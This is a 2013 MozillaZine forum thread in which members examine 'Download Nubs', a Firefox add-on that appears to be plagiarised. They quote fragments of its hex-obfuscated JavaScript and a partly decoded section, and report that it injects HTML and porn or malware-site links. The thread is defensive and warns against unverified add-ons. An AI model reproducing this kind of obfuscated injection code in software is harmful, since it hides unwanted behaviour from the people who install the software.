MozillaZine

Download Sort/Statusbar broken?

Discussion about official Mozilla Firefox builds
falcon25
 
Posts: 13
Joined: December 11th, 2013, 5:54 pm
Location: Germany Stuttgart

Post Posted December 11th, 2013, 6:35 pm

malliz wrote:You find it amusing to steal someones hard work?

it's not amusing, but: the last activity from the download statusbar Author was 2011, i contact him about email, but no answer, so what can whe do when he has abandoned?
i think Download Nubs is a further development that will supports the new download API in FF26, and it works.

patrickjdempsey

User avatar
 
Posts: 23734
Joined: October 23rd, 2008, 11:43 am
Location: Asheville NC

Post Posted December 11th, 2013, 6:38 pm

Does anyone else get a bad feeling in their gut when presented with anonymous addons developers, wonky licenses, and websites with no contact forms, also registered anonymously?
Tip of the day: If it has "toolbar" in the name, it's crap.
What my avatar is about: https://addons.mozilla.org/en-US/seamonkey/addon/sea-fox/

TheVisitor
 
Posts: 4985
Joined: May 13th, 2012, 10:43 am

Post Posted December 11th, 2013, 6:43 pm

patrickjdempsey wrote:Does anyone else get a bad feeling in their gut when presented with anonymous addons developers, wonky licenses, and websites with no contact forms, also registered anonymously?


Yes.. almost smells like another one of those 'toolbar' things that start with a 'C' that everyone hates, and causes tons of issues with Firefox. (damn, for life of me can't remember the name) #-o

EDIT: Conduit Crapola Inc...
Last edited by TheVisitor on December 11th, 2013, 6:45 pm, edited 1 time in total.

Srap
 
Posts: 290
Joined: July 18th, 2012, 11:57 am

Post Posted December 11th, 2013, 6:44 pm

Yes, we do, likely the reason why malliz asked to delete the links. Thing just popped up with a disturbingly appropriate timing, and that is rarely as good as it sounds.
Sorry for my bad English. Even if there wasn't a mistake.

Zoolcar9

User avatar
 
Posts: 2225
Joined: November 9th, 2004, 6:45 pm
Location: Jakarta, Indonesia (UTC+7)

Post Posted December 11th, 2013, 6:54 pm

kiroset wrote:Looks like it has been submitted for review

You will be asked to deobfuscate your code to reviewer.
https://addons.mozilla.org/en-US/developers/docs/policies/reviews#section-binary
My Firefox information | Add-ons | GitHub

"With great power, comes great desire to show it off."

falcon25
 
Posts: 13
Joined: December 11th, 2013, 5:54 pm
Location: Germany Stuttgart

Post Posted December 11th, 2013, 7:08 pm

Zoolcar9 wrote:
kiroset wrote:Looks like it has been submitted for review

You will be asked to deobfuscate your code to reviewer.
https://addons.mozilla.org/en-US/developers/docs/policies/reviews#section-binary

the policies said: please contact that add-on's author through the support channels listed on the add-on's listing page

and when the author is dead, should i ask him wife?

TheVisitor
 
Posts: 4985
Joined: May 13th, 2012, 10:43 am

Post Posted December 11th, 2013, 7:09 pm

Zoolcar9 wrote:
kiroset wrote:Looks like it has been submitted for review

You will be asked to deobfuscate your code to reviewer.
https://addons.mozilla.org/en-US/developers/docs/policies/reviews#section-binary


And now he's spamming his stuff on the support section:
viewtopic.php?f=38&t=2781899

malliz
Folder@Home

User avatar
 
Posts: 43840
Joined: December 7th, 2002, 4:34 am
Location: Australia

Post Posted December 11th, 2013, 7:12 pm

falcon25 wrote:
and when the author is dead, should i ask him wife?


Being known as a plagiarist and code thief is not the way to win friends and influence people don't add the cherry to the top by being a clever clogs
Last edited by malliz on December 11th, 2013, 7:15 pm, edited 1 time in total.
What sort of man would put a known criminal in charge of a major branch of government? Apart from, say, the average voter.
"Terry Pratchett"

patrickjdempsey

User avatar
 
Posts: 23734
Joined: October 23rd, 2008, 11:43 am
Location: Asheville NC

Post Posted December 11th, 2013, 7:13 pm

Yeah, Mozilla is not going to pass this mess:

Nubs source code wrote:var _0xb0b1=["\x63\x68\x72\x6F\x6D\x65\x3A\x2F\x2F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x5F\x6E\x75\x62\x73\x2F\x63\x6F\x6E\x74\x65\x6E\x74\x2F\x64\x6E\x75\x62\x73\x2E\x6A\x73\x6D","\x69\x6D\x70\x6F\x72\x74","\x75\x74\x69\x6C\x73","\x69\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x64","\x73\x74\x72\x69\x6E\x67\x73","\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x5F\x6E\x75\x62\x73\x2D\x73\x74\x72\x69\x6E\x67\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x70\x72\x65\x66\x73","\x6E\x73\x49\x50\x72\x65\x66\x42\x72\x61\x6E\x63\x68","\x69\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x67\x65\x74\x53\x65\x72\x76\x69\x63\x65","\x40\x6D\x6F\x7A\x69\x6C\x6C\x61\x2E\x6F\x72\x67\x2F\x70\x72\x65\x66\x65\x72\x65\x6E\x63\x65\x73\x2D\x73\x65\x72\x76\x69\x63\x65\x3B\x31","\x63\x6C\x61\x73\x73\x65\x73","\x5F\x32\x78\x33\x64\x32\x64\x32\x78\x33\x64\x33\x78\x32\x64\x65\x33\x64\x33\x78\x32\x64\x65\x33\x65\x32\x64\x32\x78\x33\x65\x33\x78","\x66\x69\x6C\x65\x70\x61\x74\x68","\x66\x69\x6C\x65\x6E\x61\x6D\x65","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x6F\x75\x72\x63\x65\x55\x72\x6C","\x73\x74\x61\x74\x65","\x73\x74\x61\x72\x74\x54\x69\x6D\x65","\x65\x6E\x64\x54\x69\x6D\x65","\x74\x6F\x74\x61\x6C\x46\x69\x6C\x65\x53\x69\x7A\x65","\x63\x75\x72\x72\x46\x69\x6C\x65\x53\x69\x7A\x65","\x6E\x73\x49\x57\x69\x6E\x64\x6F\x77\x4D\x65\x64\x69\x61\x74\x6F\x72","\x40\x6D\x6F\x7A\x69\x6C\x6C\x61\x2E\x6F\x72\x67\x2F\x61\x70\x70\x73\x68\x65\x6C\x6C\x2F\x77\x69\x6E\x64\x6F\x77\x2D\x6D\x65\x64\x69\x61\x74\x6F\x72\x3B\x31","\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x3A\x62\x72\x6F\x77\x73\x65\x72","\x67\x65\x74\x4D\x6F\x73\x74\x52\x65\x63\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x6E\x73\x49\x57\x69\x6E\x64\x6F\x77\x57\x61\x74\x63\x68\x65\x72","...


It goes on like that for (literally) 33000 characters in one big long string. That on top of all of the anonymized identity stuff makes overall for a package that I wouldn't touch with someone-else's ten-foot-long pole.
Tip of the day: If it has "toolbar" in the name, it's crap.
What my avatar is about: https://addons.mozilla.org/en-US/seamonkey/addon/sea-fox/

falcon25
 
Posts: 13
Joined: December 11th, 2013, 5:54 pm
Location: Germany Stuttgart

Post Posted December 11th, 2013, 7:32 pm

malliz wrote:Being known as a plagiarist and code thief is not the way to win friends

that's right, but have you a better way when the Author not responds?

patrickjdempsey

User avatar
 
Posts: 23734
Joined: October 23rd, 2008, 11:43 am
Location: Asheville NC

Post Posted December 11th, 2013, 7:36 pm

falcon25 wrote:
malliz wrote:Being known as a plagiarist and code thief is not the way to win friends

that's right, but have you a better way when the Author not responds?


... you mean aside from writing your own code ?
Tip of the day: If it has "toolbar" in the name, it's crap.
What my avatar is about: https://addons.mozilla.org/en-US/seamonkey/addon/sea-fox/

patrickjdempsey

User avatar
 
Posts: 23734
Joined: October 23rd, 2008, 11:43 am
Location: Asheville NC

Post Posted December 11th, 2013, 7:49 pm

If anyone is curious as to what's in that encoded code I posted above... here it is decoded:
http://ddecode.com/hexde



It appears to contain a ton of HTML (why would the JS file of an XUL extension contain any HTML??) and a bunch of links to porn sites and Russian "game" sites (which are usually just malware distributors). And then a bunch more encyrpted code like this:

Nubs 'decoded' source code wrote:his[_0x73aa[165]]=_0x73aa[177];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[178])>=0){_0x2e0ex3=_0x73aa[179];this[_0x73aa[165]]=_0x73aa[174];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[180])>=0){_0x2e0ex3=_0x73aa[181];this[_0x73aa[165]]=_0x73aa[180];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[182])>=0){_0x2e0ex3=_0x73aa[183];this[_0x73aa[165]]=_0x73aa[182];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[184])>=0){_0x2e0ex3=_0x73aa[185];this[_0x73aa[165]]=_0x73aa[184];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[186])>=0){_0x2e0ex3=_0x73aa[187];this[_0x73aa[165]]=_0x73aa[186];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](this[_0x73aa[188]][_0x73aa[163]]())>=0){fInit=true;this[_0x73aa[165]]=_0x73aa[189];this[_0x73aa[123]]=20;this[_0x73aa[124]]=5;} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[190])>=0){fInit=true;this[_0x73aa[165]]=_0x73aa[191];this[_0x73aa[123]]=20;this[_0x73aa[124]]=5;} ;} ;} ;} ;} ;} ;} ;}


Edit: also noticed an "About" page in the extension files. I'm guessing that the JS injects the HTML and porn links into the About page.
Tip of the day: If it has "toolbar" in the name, it's crap.
What my avatar is about: https://addons.mozilla.org/en-US/seamonkey/addon/sea-fox/

falcon25
 
Posts: 13
Joined: December 11th, 2013, 5:54 pm
Location: Germany Stuttgart

Post Posted December 11th, 2013, 8:09 pm

patrickjdempsey wrote:here it is decoded:

right, there are may suspicious html's in this code, thanks for your effort.
but fact is: the original downlad statusbar does not supported the new download API, no longer works and the Author not responds, so i'm still waiting for a another solution.

Frank Lion

User avatar
 
Posts: 20472
Joined: April 23rd, 2004, 6:59 pm
Location: ... The Exorcist....United Kingdom

Post Posted December 11th, 2013, 8:17 pm

patrickjdempsey wrote:It appears to contain a ton of HTML (why would the JS file of an XUL extension contain any HTML??) and a bunch of links to porn sites and Russian "game" sites (which are usually just malware distributors).

... I'm guessing that the JS injects the HTML and porn links into the About page.

Jeeze, I pity the poor slobs who installed that!


Edit - hahaha...I've just seen this :P -

falcon25 wrote:i think Download Nubs is a further development that will supports the new download API in FF26, and it works.
Metal Lion latest SeaMonkey & Thunderbird Themes - Sea Monkey and Silver Sea Monkey
"The only thing necessary for the triumph of evil, is for good men to do nothing." - Edmund Burke (attrib.)

patrickjdempsey

User avatar
 
Posts: 23734
Joined: October 23rd, 2008, 11:43 am
Location: Asheville NC

Post Posted December 11th, 2013, 8:21 pm

I'm hopeful that this will be a lesson to people who like to post links to unverified extensions from unknown authors exactly how dangerous that behavior is, and why the mods work so hard to break live links to installables. But probably not.
Tip of the day: If it has "toolbar" in the name, it's crap.
What my avatar is about: https://addons.mozilla.org/en-US/seamonkey/addon/sea-fox/

Return to Firefox Builds


Who is online

Users browsing this forum: No registered users and 4 guests